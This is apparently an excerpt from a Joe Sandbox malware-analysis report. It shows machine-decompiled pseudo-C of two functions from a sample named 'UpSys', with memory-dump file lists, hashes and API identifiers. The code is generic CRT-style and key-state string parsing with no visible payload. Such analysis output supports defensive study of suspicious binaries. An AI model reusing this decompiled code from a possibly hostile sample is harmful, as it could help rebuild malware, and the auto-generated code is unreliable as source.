                                                                                                                                                                                                        Function 00000001400189B8 Relevance: 7.6, APIs: 5, Instructions: 93COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 62%
                                                                                                                                                                                                        			E000000011400189B8(signed long long __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* __rax, long long __rbx, long long __rsi, signed long long _a8, long long _a24, long long _a32) {
				signed int _v40;
				void* __rdi;
				void* __r12;
				void* _t37;
				void* _t54;
				void* _t64;
				intOrPtr* _t68;
				intOrPtr* _t69;
				void* _t72;
				void* _t73;
				signed long long _t74;
				signed long long _t77;
				void* _t79;
				void* _t83;
				signed long long _t85;

				_t70 = __rbx;
				_t54 = __edi;
				_a24 = __rbx;
				_a32 = __rsi;
				_a8 = __ecx;
				_t37 = __edx;
				_t74 = __ecx;
				if (__edx == 0x4000) goto 0x40018a24;
				if (__edx == 0x8000) goto 0x40018a24;
				if (__edx == 0x10000) goto 0x40018a24;
				if (__edx == 0x40000) goto 0x40018a24;
				if (__edx == 0x20000) goto 0x40018a24;
				E0000000114001EAE4(__edx - 0x20000, __rax);
				 *__rax = 0x16;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(__rax, __rbx, _t72, _t73, __rsi, _t79, _t83);
				goto 0x40018af9;
				if (__edi != 0xfffffffe) goto 0x40018a3c;
				E0000000114001EAE4(__edi - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x40018af9;
				if (0 < 0) goto 0x40018ad6;
				_t64 = _t54 -  *0x400c88bc; // 0x20
				if (_t64 >= 0) goto 0x40018ad6;
				_t85 = _t74 >> 5;
				_t77 = _t74 * 0x58;
				_t68 =  *((intOrPtr*)(0x400c88c0 + _t85 * 8));
				if (_t64 != 0) goto 0x40018a9c;
				E0000000114001EAE4(_t64, _t68);
				 *_t68 = 9;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t68, _t70, _t72, _t73, _t77, _t79, _t83);
				goto 0x40018af9;
				E00000001140022130(__edx, __edi, _t70, _t74, _t77, _t85);
				_t69 =  *((intOrPtr*)(0x400c88c0 + _t85 * 8));
				if (( *(_t77 + _t69 + 8) & 0x00000001) == 0) goto 0x40018abd;
				E000000011400188A8(_t54, _t37, _t70);
				goto 0x40018acb;
				E0000000114001EAE4( *(_t77 + _t69 + 8) & 0x00000001, _t69);
				 *_t69 = 9;
				E000000011400221D8();
				goto 0x40018af9;
				E0000000114001EAE4( *(_t77 + _t69 + 8) & 0x00000001, _t69);
				 *_t69 = 9;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				return E0000000114001EA14(_t69, _t70, _t72, _t73, _t77, _t79, _t83) | 0xffffffff;
			}


















                                                                                                                                                                                                        0x1400189b8
                                                                                                                                                                                                        0x1400189b8
                                                                                                                                                                                                        0x1400189b8
                                                                                                                                                                                                        0x1400189bd
                                                                                                                                                                                                        0x1400189c2
                                                                                                                                                                                                        0x1400189cf
                                                                                                                                                                                                        0x1400189d1
                                                                                                                                                                                                        0x1400189da
                                                                                                                                                                                                        0x1400189e2
                                                                                                                                                                                                        0x1400189ea
                                                                                                                                                                                                        0x1400189f2
                                                                                                                                                                                                        0x1400189fa
                                                                                                                                                                                                        0x1400189fc
                                                                                                                                                                                                        0x140018a01
                                                                                                                                                                                                        0x140018a07
                                                                                                                                                                                                        0x140018a0d
                                                                                                                                                                                                        0x140018a10
                                                                                                                                                                                                        0x140018a17
                                                                                                                                                                                                        0x140018a1f
                                                                                                                                                                                                        0x140018a27
                                                                                                                                                                                                        0x140018a29
                                                                                                                                                                                                        0x140018a2e
                                                                                                                                                                                                        0x140018a37
                                                                                                                                                                                                        0x140018a3e
                                                                                                                                                                                                        0x140018a44
                                                                                                                                                                                                        0x140018a4a
                                                                                                                                                                                                        0x140018a56
                                                                                                                                                                                                        0x140018a64
                                                                                                                                                                                                        0x140018a68
                                                                                                                                                                                                        0x140018a75
                                                                                                                                                                                                        0x140018a77
                                                                                                                                                                                                        0x140018a7c
                                                                                                                                                                                                        0x140018a82
                                                                                                                                                                                                        0x140018a88
                                                                                                                                                                                                        0x140018a8b
                                                                                                                                                                                                        0x140018a92
                                                                                                                                                                                                        0x140018a9a
                                                                                                                                                                                                        0x140018a9e
                                                                                                                                                                                                        0x140018aa4
                                                                                                                                                                                                        0x140018aae
                                                                                                                                                                                                        0x140018ab4
                                                                                                                                                                                                        0x140018abb
                                                                                                                                                                                                        0x140018abd
                                                                                                                                                                                                        0x140018ac2
                                                                                                                                                                                                        0x140018acd
                                                                                                                                                                                                        0x140018ad4
                                                                                                                                                                                                        0x140018ad6
                                                                                                                                                                                                        0x140018adb
                                                                                                                                                                                                        0x140018ae1
                                                                                                                                                                                                        0x140018ae7
                                                                                                                                                                                                        0x140018aea
                                                                                                                                                                                                        0x140018b0c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$DecodePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2310398763-0
                                                                                                                                                                                                        • Opcode ID: 0ca50777dce1f86b7f34af629b1a720cdfec1863fc254c659da058b2a0e807ad
                                                                                                                                                                                                        • Instruction ID: d05ca6929afeebdec5be74fa674cb021e1fc976a668fa7408c86321f3790b971
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0ca50777dce1f86b7f34af629b1a720cdfec1863fc254c659da058b2a0e807ad
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7831C332B1069043F7379B6B95817AE2592BB88394F988217BF110BAF6CF7A8541C707
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140071310 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 417COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 72%
                                                                                                                                                                                                        			E00000001140071310(void* __ecx, void* __edx, void* __eflags, void* __rax, long long __rbx, long long __rcx, void* __rdx, void* __r11, long long _a8, long long _a16) {
				char _v96;
				char _v128;
				char _v160;
				char _v164;
				signed int _v168;
				intOrPtr _v174;
				char _v184;
				long long _v200;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* __r13;
				void* __r14;
				char _t114;
				void* _t118;
				void* _t132;
				void* _t135;
				void* _t138;
				void* _t173;
				signed int _t174;
				void* _t179;
				signed int _t224;
				void* _t249;
				void* _t250;
				void* _t259;
				void* _t281;
				short* _t282;
				long long _t288;
				intOrPtr _t290;
				void* _t356;
				void* _t369;
				void* _t370;
				intOrPtr _t374;
				void* _t376;
				void* _t385;
				void* _t386;
				void* _t388;
				void* _t389;

				_t385 = __r11;
				_t281 = __rax;
				_t173 = __ecx;
				_a16 = __rbx;
				_a8 = __rcx;
				_v168 = _v168 & 0x00000000;
				_t288 = __rcx;
				_t388 = __rdx;
				r15d = 0;
				bpl = 0;
				r12b = 0;
				r13b = 0;
				E000000011400518B0( &_v184);
				_t6 = _t389 + 1; // 0x1
				_t114 = _t6;
				_v164 = _t114;
				E0000000114000FD50(_t281, __rcx,  &_v128);
				E0000000114000FD50(_t281, _t288,  &_v160);
				_t282 =  &_v168;
				_t11 = _t389 + 0x20; // 0x20
				_v200 = _t282;
				if (E00000001140071280(_t11, _t282, _t288, _t370, _t376, __rdx,  &_v128) == 0) goto 0x40071459;
				_t224 = _v168;
				_t15 = _t389 + 0x20; // 0x20
				_t387 = _t224;
				_t118 = E00000001140043480(_t117, _t388, _t224);
				if ( *_t282 == _t15) goto 0x400713bd;
				E00000001140043480(_t118, _t388, _t224);
				if ( *_t282 != 9) goto 0x400713c1;
				goto 0x40071399;
				_t283 =  &_v168;
				_v168 = _t224 + 1;
				_v200 =  &_v168;
				E00000001140071280(0,  &_v168, _a8, _t370, _t376, _t388,  &_v160);
				if (E00000001140016D8C( &_v168, _v160, 0x4009c7a0) != 0) goto 0x40071409;
				bpl = dil;
				goto 0x4007158c;
				if (E00000001140016D8C( &_v168, _v160, L"DOWN") != 0) goto 0x40071424;
				r12b = dil;
				goto 0x4007158c;
				if (E00000001140016D8C( &_v168, _v160, L"ON") != 0) goto 0x4007143f;
				r14b = dil;
				r13b = r15b;
				goto 0x4007145c;
				if (E00000001140016D8C( &_v168, _v160, L"OFF") != 0) goto 0x400714e8;
				r13b = dil;
				r14b = r15b;
				if (E00000001140016D8C(_t283,  *0x400b0bf0, _v128) == 0) goto 0x4007148c;
				r15d = r15d + 1;
				if (0x400b0bf0 - 0x400b0f00 < 0) goto 0x40071468;
				_t290 = _a8;
				if (r15d != 0x62) goto 0x400715af;
				E00000001140002170(_t290,  &_v128, _v128);
				E0000000114005A770( *0x400b0f00 & 0x0000ffff, r15d - 0x62, _t290,  &_v184);
				if (r12b != 0) goto 0x40071961;
				if (bpl != 0) goto 0x400716e0;
				E00000001140002170(_t290,  &_v128, _v128);
				r8d = _t114;
				E000000011400630E0(_t173,  *0x400b0f00 & 0x0000ffff, bpl, 0x400b0f00, _t290, _t290, 0x1400b0bf8, _t376, _t386, _t224, _t388);
				goto 0x4007196e;
				E00000001140002170(_t290,  &_v160, _v128);
				if ( *0x400b0f00 != 0x30) goto 0x40071597;
				E00000001140002170(_t290,  &_v160, _t369);
				if ( *0x400b0f00 == 0x78) goto 0x40071524;
				_t356 = _t369;
				_t132 = E00000001140002170(_t290,  &_v160, _t356);
				if ( *0x400b0f00 != 0x58) goto 0x40071597;
				_t31 = _t356 + 2; // 0x2
				r8d = _t31;
				E000000011400021B0(_t132,  &_v160, _t356, _t388);
				E000000011400510D0(0x400b0f00, _t290,  &_v160, 0x1400b0bf8, _t376,  &_v164);
				_t135 = E00000001140002170(_t290,  &_v160,  &_v160);
				r8d = _v164;
				if ( *0x400b0f00 == 0x30) goto 0x40071575;
				E00000001140041D90(_t135, L"%d",  &_v164,  &_v160);
				E000000011400107E0(0x400b0f00,  &_v160,  &_v96, _t369);
				r13b = r15b;
				r14b = r15b;
				goto 0x4007145c;
				_t138 = E000000011400177C4(_t173,  *0x400b0f00 - 0x30, 0x400b0f00,  &_v96, _t385);
				_t220 =  <=  ? 1 : _t138;
				goto 0x4007158c;
				_t374 = r15d;
				r15d = 0;
				if ( *((intOrPtr*)(_t374 + 0x1400b0f00)) != r15b) goto 0x40071623;
				E0000000114005A810( *(_t374 + 0x1400b0f70),  *((intOrPtr*)(_t374 + 0x1400b0f00)) - r15b, _t290,  &_v184, _t374);
				if (r12b != r15b) goto 0x40071961;
				if (bpl != r15b) goto 0x400716e0;
				if (r14b == r15b) goto 0x40071604;
				r8b = 1;
				goto 0x4007160c;
				if (r13b == r15b) goto 0x40071616;
				r8d = 0;
				E00000001140042050( *(_t374 + 0x1400b0f70), _t290, _t290,  &_v96, _t369, _t374, _t376);
				goto 0x4007196e;
				r8d =  <=  ? 1 : _t138;
				E00000001140063040(_t173,  *(_t374 + 0x1400b0f70), r13b - r15b, 0x140000000, _t290, _t290, _t374, _t376, _t386, _t224, _t388);
				goto 0x4007196e;
				_t174 =  *(_t374 + 0x1400b0f70) & 0x000000ff;
				_t249 = _t174 - 7;
				if (_t249 > 0) goto 0x4007176f;
				if (_t249 == 0) goto 0x40071750;
				_t250 = _t174 - r15d;
				if (_t250 == 0) goto 0x4007172d;
				if (_t250 == 0) goto 0x40071711;
				if (_t250 == 0) goto 0x400716f2;
				if (_t250 == 0) goto 0x400716c6;
				if (_t250 == 0) goto 0x400716a7;
				_t179 = _t174 - 0xfffffffffffffffd;
				if (_t250 == 0) goto 0x4007168b;
				if (_t179 != 1) goto 0x4007196e;
				if ( *((intOrPtr*)(_t290 + 0x22)) != r15b) goto 0x4007196e;
				E0000000114005A810(0x5b,  *((intOrPtr*)(_t290 + 0x22)) - r15b, _t290,  &_v184, _t374);
				 *((intOrPtr*)(_t290 + 0x22)) = dil;
				goto 0x40071961;
				if ( *((intOrPtr*)(_t290 + 0x1e)) == r15b) goto 0x4007196e;
				E0000000114005A810(0x10,  *((intOrPtr*)(_t290 + 0x1e)) - r15b, _t290,  &_v184, _t374);
				 *((intOrPtr*)(_t290 + 0x1e)) = r15b;
				goto 0x400716e0;
				if ( *((intOrPtr*)(_t290 + 0x1e)) != r15b) goto 0x4007196e;
				E0000000114005A810(0x10,  *((intOrPtr*)(_t290 + 0x1e)) - r15b, _t290,  &_v184, _t374);
				 *((intOrPtr*)(_t290 + 0x1e)) = dil;
				goto 0x40071961;
				if ( *((intOrPtr*)(_t290 + 0x21)) == r15b) goto 0x4007196e;
				E0000000114005A810(0x12,  *((intOrPtr*)(_t290 + 0x21)) - r15b, _t290,  &_v184, _t374);
				 *((intOrPtr*)(_t290 + 0x21)) = r15b;
				E0000000114005A410(_t179, 1, 0x140000000, _t290, _t290,  &_v184, _t374, _t376, _t386, _t224, _t388);
				goto 0x4007196e;
				if ( *((intOrPtr*)(_t290 + 0x21)) != r15b) goto 0x4007196e;
				E0000000114005A810(0x12,  *((intOrPtr*)(_t290 + 0x21)) - r15b, _t290,  &_v184, _t374);
				 *((intOrPtr*)(_t290 + 0x21)) = dil;
				goto 0x40071961;
				if ( *((intOrPtr*)(_t290 + 0x20)) == r15b) goto 0x4007196e;
				E0000000114005A810(0x11,  *((intOrPtr*)(_t290 + 0x20)) - r15b, _t290,  &_v184, _t374);
				 *((intOrPtr*)(_t290 + 0x20)) = r15b;
				goto 0x400716e0;
				if ( *((intOrPtr*)(_t290 + 0x20)) != r15b) goto 0x4007196e;
				E0000000114005A810(0x11,  *((intOrPtr*)(_t290 + 0x20)) - r15b, _t290,  &_v184, _t374);
				 *((char*)(_t290 + 0x20)) = 1;
				goto 0x40071961;
				_t259 =  *((intOrPtr*)(_t290 + 0x22)) - r15b;
				if (_t259 == 0) goto 0x4007196e;
				E0000000114005A810(0x5b, _t259, _t290,  &_v184, _t374);
				 *((intOrPtr*)(_t290 + 0x22)) = r15b;
				goto 0x400716e0;
				if (_t259 == 0) goto 0x40071947;
				r13d = 1;
				if (_t259 == 0) goto 0x4007192c;
				if (_t259 == 0) goto 0x4007189e;
				if (_t259 == 0) goto 0x40071872;
				if (_t259 == 0) goto 0x40071828;
				if (_t259 == 0) goto 0x400717f0;
				if (_t179 - 8 - r13d - r13d - r13d - r13d - r13d != r13d) goto 0x4007196e;
				E0000000114005A810(0xa1, _t179 - 8 - r13d - r13d - r13d - r13d - r13d - r13d, _t290,  &_v184, _t374);
				if (r12b == r15b) goto 0x400717d4;
				if ( *((intOrPtr*)(_t290 + 0x1f)) != r15b) goto 0x4007196e;
				 *((intOrPtr*)(_t290 + 0x1f)) = r13b;
				goto 0x40071961;
				if (bpl == r15b) goto 0x40071860;
				if ( *((intOrPtr*)(_t290 + 0x1f)) == r15b) goto 0x4007196e;
				 *((intOrPtr*)(_t290 + 0x1f)) = r15b;
				goto 0x400716e0;
				E0000000114005A810(0xa0,  *((intOrPtr*)(_t290 + 0x1f)) - r15b, _t290,  &_v184, _t374);
				if (r12b == r15b) goto 0x40071814;
				if ( *((intOrPtr*)(_t290 + 0x1e)) != r15b) goto 0x4007196e;
				 *((intOrPtr*)(_t290 + 0x1e)) = r13b;
				goto 0x40071961;
				if (bpl == r15b) goto 0x40071860;
				if ( *((intOrPtr*)(_t290 + 0x1e)) == r15b) goto 0x4007196e;
				goto 0x400716a1;
				E0000000114005A810(0x12,  *((intOrPtr*)(_t290 + 0x1e)) - r15b, _t290,  &_v184, _t374);
				if (r12b == r15b) goto 0x4007184c;
				if ( *((intOrPtr*)(_t290 + 0x21)) != r15b) goto 0x4007196e;
				 *((intOrPtr*)(_t290 + 0x21)) = r13b;
				goto 0x40071961;
				if (bpl == r15b) goto 0x40071860;
				if ( *((intOrPtr*)(_t290 + 0x21)) == r15b) goto 0x4007196e;
				goto 0x400716dc;
				E0000000114005A740(_t179 - 8 - r13d - r13d - r13d - r13d - r13d, 0x12, 1,  *((intOrPtr*)(_t290 + 0x21)) - r15b, _t290, _t290,  &_v184, _t374, _t376, _t386, _t387, _t388);
				goto 0x4007196e;
				E0000000114005A810(0xd,  *((intOrPtr*)(_t290 + 0x21)) - r15b, _t290,  &_v184, _t374);
				_v174 = r13b;
				if (r12b != r15b) goto 0x40071961;
				if (bpl == r15b) goto 0x40071868;
				goto 0x400716e8;
				if ( *((intOrPtr*)(_t290 + 0x28)) == _t389) goto 0x400718af;
				r8d = r13d;
				goto 0x400714db;
				if ( *((intOrPtr*)(_t290 + 0x21)) != r15b) goto 0x400718ce;
				E0000000114005A810(0x12,  *((intOrPtr*)(_t290 + 0x21)) - r15b, _t290,  &_v184, _t374);
				E0000000114005A5A0(_t179 - 8 - r13d - r13d - r13d - r13d - r13d, 1, _t290, _t290,  &_v184, _t369, _t374, _t376, _t386, _t387, _t388);
				_t375 = r15d;
				E00000001140002170(_t290,  &_v160, r15d);
				if ( *((intOrPtr*)(0x140000000)) == r15w) goto 0x40071915;
				E00000001140002170(_t290,  &_v160, r15d);
				E0000000114005A810( *((intOrPtr*)(0x140000000)) + 0x30,  *((intOrPtr*)(0x140000000)) - r15w, _t290,  &_v184, r15d);
				E0000000114005A740(_t179 - 8 - r13d - r13d - r13d - r13d - r13d,  *((intOrPtr*)(0x140000000)) + 0x30, r15d,  *((intOrPtr*)(0x140000000)) - r15w, _t290, _t290,  &_v184, r15d, _t376, _t386, _t387, _t388);
				goto 0x400718d1;
				if ( *((intOrPtr*)(_t290 + 0x21)) != r15b) goto 0x4007196e;
				E0000000114005A810(0x12,  *((intOrPtr*)(_t290 + 0x21)) - r15b, _t290,  &_v184, r15d);
				goto 0x400716e0;
				if ( *((intOrPtr*)(_t290 + 0x23)) == r15b) goto 0x4007196e;
				E0000000114005A810(0x5c,  *((intOrPtr*)(_t290 + 0x23)) - r15b, _t290,  &_v184, _t375);
				 *((intOrPtr*)(_t290 + 0x23)) = r15b;
				goto 0x400716e0;
				if ( *((intOrPtr*)(_t290 + 0x23)) != r15b) goto 0x4007196e;
				E0000000114005A810(0x5c,  *((intOrPtr*)(_t290 + 0x23)) - r15b, _t290,  &_v184, _t375);
				 *((char*)(_t290 + 0x23)) = 1;
				return E00000001140002610(E00000001140002610(E0000000114005A5A0(_t179 - 8 - r13d - r13d - r13d - r13d - r13d, r15d + r13d, _t290, _t290,  &_v184, _t369, _t375, _t376, _t386, _t387, _t388), _t290,  &_v160), _t290,  &_v128);
			}










































                                                                                                                                                                                                        0x140071310
                                                                                                                                                                                                        0x140071310
                                                                                                                                                                                                        0x140071310
                                                                                                                                                                                                        0x140071310
                                                                                                                                                                                                        0x140071315
                                                                                                                                                                                                        0x14007132c
                                                                                                                                                                                                        0x140071331
                                                                                                                                                                                                        0x140071339
                                                                                                                                                                                                        0x14007133c
                                                                                                                                                                                                        0x14007133f
                                                                                                                                                                                                        0x140071342
                                                                                                                                                                                                        0x140071345
                                                                                                                                                                                                        0x140071348
                                                                                                                                                                                                        0x14007134d
                                                                                                                                                                                                        0x14007134d
                                                                                                                                                                                                        0x140071358
                                                                                                                                                                                                        0x14007135c
                                                                                                                                                                                                        0x140071366
                                                                                                                                                                                                        0x14007136b
                                                                                                                                                                                                        0x140071370
                                                                                                                                                                                                        0x14007137f
                                                                                                                                                                                                        0x14007138b
                                                                                                                                                                                                        0x140071391
                                                                                                                                                                                                        0x140071395
                                                                                                                                                                                                        0x140071399
                                                                                                                                                                                                        0x1400713a2
                                                                                                                                                                                                        0x1400713aa
                                                                                                                                                                                                        0x1400713b2
                                                                                                                                                                                                        0x1400713bb
                                                                                                                                                                                                        0x1400713bf
                                                                                                                                                                                                        0x1400713c9
                                                                                                                                                                                                        0x1400713db
                                                                                                                                                                                                        0x1400713df
                                                                                                                                                                                                        0x1400713e4
                                                                                                                                                                                                        0x1400713ff
                                                                                                                                                                                                        0x140071401
                                                                                                                                                                                                        0x140071404
                                                                                                                                                                                                        0x14007141a
                                                                                                                                                                                                        0x14007141c
                                                                                                                                                                                                        0x14007141f
                                                                                                                                                                                                        0x140071435
                                                                                                                                                                                                        0x140071437
                                                                                                                                                                                                        0x14007143a
                                                                                                                                                                                                        0x14007143d
                                                                                                                                                                                                        0x140071450
                                                                                                                                                                                                        0x140071456
                                                                                                                                                                                                        0x140071459
                                                                                                                                                                                                        0x140071477
                                                                                                                                                                                                        0x140071484
                                                                                                                                                                                                        0x14007148a
                                                                                                                                                                                                        0x14007148c
                                                                                                                                                                                                        0x140071498
                                                                                                                                                                                                        0x1400714a5
                                                                                                                                                                                                        0x1400714b2
                                                                                                                                                                                                        0x1400714ba
                                                                                                                                                                                                        0x1400714c3
                                                                                                                                                                                                        0x1400714d0
                                                                                                                                                                                                        0x1400714d5
                                                                                                                                                                                                        0x1400714de
                                                                                                                                                                                                        0x1400714e3
                                                                                                                                                                                                        0x1400714ef
                                                                                                                                                                                                        0x1400714f8
                                                                                                                                                                                                        0x140071506
                                                                                                                                                                                                        0x14007150f
                                                                                                                                                                                                        0x140071516
                                                                                                                                                                                                        0x140071519
                                                                                                                                                                                                        0x140071522
                                                                                                                                                                                                        0x14007152b
                                                                                                                                                                                                        0x14007152b
                                                                                                                                                                                                        0x14007152f
                                                                                                                                                                                                        0x140071541
                                                                                                                                                                                                        0x14007154d
                                                                                                                                                                                                        0x140071562
                                                                                                                                                                                                        0x14007156c
                                                                                                                                                                                                        0x140071575
                                                                                                                                                                                                        0x140071587
                                                                                                                                                                                                        0x14007158c
                                                                                                                                                                                                        0x14007158f
                                                                                                                                                                                                        0x140071592
                                                                                                                                                                                                        0x14007159c
                                                                                                                                                                                                        0x1400715aa
                                                                                                                                                                                                        0x1400715ad
                                                                                                                                                                                                        0x1400715af
                                                                                                                                                                                                        0x1400715b9
                                                                                                                                                                                                        0x1400715c4
                                                                                                                                                                                                        0x1400715d2
                                                                                                                                                                                                        0x1400715da
                                                                                                                                                                                                        0x1400715e3
                                                                                                                                                                                                        0x1400715fd
                                                                                                                                                                                                        0x1400715ff
                                                                                                                                                                                                        0x140071602
                                                                                                                                                                                                        0x140071607
                                                                                                                                                                                                        0x140071609
                                                                                                                                                                                                        0x14007160c
                                                                                                                                                                                                        0x140071611
                                                                                                                                                                                                        0x140071616
                                                                                                                                                                                                        0x140071619
                                                                                                                                                                                                        0x14007161e
                                                                                                                                                                                                        0x140071623
                                                                                                                                                                                                        0x14007162b
                                                                                                                                                                                                        0x14007162e
                                                                                                                                                                                                        0x140071634
                                                                                                                                                                                                        0x14007163a
                                                                                                                                                                                                        0x14007163d
                                                                                                                                                                                                        0x14007164a
                                                                                                                                                                                                        0x140071652
                                                                                                                                                                                                        0x14007165a
                                                                                                                                                                                                        0x14007165e
                                                                                                                                                                                                        0x140071660
                                                                                                                                                                                                        0x140071662
                                                                                                                                                                                                        0x140071666
                                                                                                                                                                                                        0x140071670
                                                                                                                                                                                                        0x14007167d
                                                                                                                                                                                                        0x140071682
                                                                                                                                                                                                        0x140071686
                                                                                                                                                                                                        0x14007168f
                                                                                                                                                                                                        0x14007169c
                                                                                                                                                                                                        0x1400716a1
                                                                                                                                                                                                        0x1400716a5
                                                                                                                                                                                                        0x1400716ab
                                                                                                                                                                                                        0x1400716b8
                                                                                                                                                                                                        0x1400716bd
                                                                                                                                                                                                        0x1400716c1
                                                                                                                                                                                                        0x1400716ca
                                                                                                                                                                                                        0x1400716d7
                                                                                                                                                                                                        0x1400716dc
                                                                                                                                                                                                        0x1400716e8
                                                                                                                                                                                                        0x1400716ed
                                                                                                                                                                                                        0x1400716f6
                                                                                                                                                                                                        0x140071703
                                                                                                                                                                                                        0x140071708
                                                                                                                                                                                                        0x14007170c
                                                                                                                                                                                                        0x140071715
                                                                                                                                                                                                        0x140071722
                                                                                                                                                                                                        0x140071727
                                                                                                                                                                                                        0x14007172b
                                                                                                                                                                                                        0x140071731
                                                                                                                                                                                                        0x14007173e
                                                                                                                                                                                                        0x140071748
                                                                                                                                                                                                        0x14007174b
                                                                                                                                                                                                        0x140071750
                                                                                                                                                                                                        0x140071754
                                                                                                                                                                                                        0x140071761
                                                                                                                                                                                                        0x140071766
                                                                                                                                                                                                        0x14007176a
                                                                                                                                                                                                        0x140071772
                                                                                                                                                                                                        0x140071778
                                                                                                                                                                                                        0x140071781
                                                                                                                                                                                                        0x14007178a
                                                                                                                                                                                                        0x140071793
                                                                                                                                                                                                        0x14007179c
                                                                                                                                                                                                        0x1400717a5
                                                                                                                                                                                                        0x1400717aa
                                                                                                                                                                                                        0x1400717b7
                                                                                                                                                                                                        0x1400717bf
                                                                                                                                                                                                        0x1400717c5
                                                                                                                                                                                                        0x1400717cb
                                                                                                                                                                                                        0x1400717cf
                                                                                                                                                                                                        0x1400717d7
                                                                                                                                                                                                        0x1400717e1
                                                                                                                                                                                                        0x1400717e7
                                                                                                                                                                                                        0x1400717eb
                                                                                                                                                                                                        0x1400717f7
                                                                                                                                                                                                        0x1400717ff
                                                                                                                                                                                                        0x140071805
                                                                                                                                                                                                        0x14007180b
                                                                                                                                                                                                        0x14007180f
                                                                                                                                                                                                        0x140071817
                                                                                                                                                                                                        0x14007181d
                                                                                                                                                                                                        0x140071823
                                                                                                                                                                                                        0x14007182f
                                                                                                                                                                                                        0x140071837
                                                                                                                                                                                                        0x14007183d
                                                                                                                                                                                                        0x140071843
                                                                                                                                                                                                        0x140071847
                                                                                                                                                                                                        0x14007184f
                                                                                                                                                                                                        0x140071855
                                                                                                                                                                                                        0x14007185b
                                                                                                                                                                                                        0x140071868
                                                                                                                                                                                                        0x14007186d
                                                                                                                                                                                                        0x140071879
                                                                                                                                                                                                        0x14007187e
                                                                                                                                                                                                        0x140071886
                                                                                                                                                                                                        0x140071897
                                                                                                                                                                                                        0x140071899
                                                                                                                                                                                                        0x1400718a2
                                                                                                                                                                                                        0x1400718a4
                                                                                                                                                                                                        0x1400718aa
                                                                                                                                                                                                        0x1400718b3
                                                                                                                                                                                                        0x1400718bc
                                                                                                                                                                                                        0x1400718c9
                                                                                                                                                                                                        0x1400718d1
                                                                                                                                                                                                        0x1400718dc
                                                                                                                                                                                                        0x1400718e5
                                                                                                                                                                                                        0x1400718ef
                                                                                                                                                                                                        0x1400718fe
                                                                                                                                                                                                        0x14007190b
                                                                                                                                                                                                        0x140071913
                                                                                                                                                                                                        0x140071919
                                                                                                                                                                                                        0x140071922
                                                                                                                                                                                                        0x140071927
                                                                                                                                                                                                        0x140071930
                                                                                                                                                                                                        0x140071939
                                                                                                                                                                                                        0x14007193e
                                                                                                                                                                                                        0x140071942
                                                                                                                                                                                                        0x14007194b
                                                                                                                                                                                                        0x140071954
                                                                                                                                                                                                        0x14007195e
                                                                                                                                                                                                        0x14007199c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _cwprintf_s_l_errno
                                                                                                                                                                                                        • String ID: 0%d$DOWN$OFF
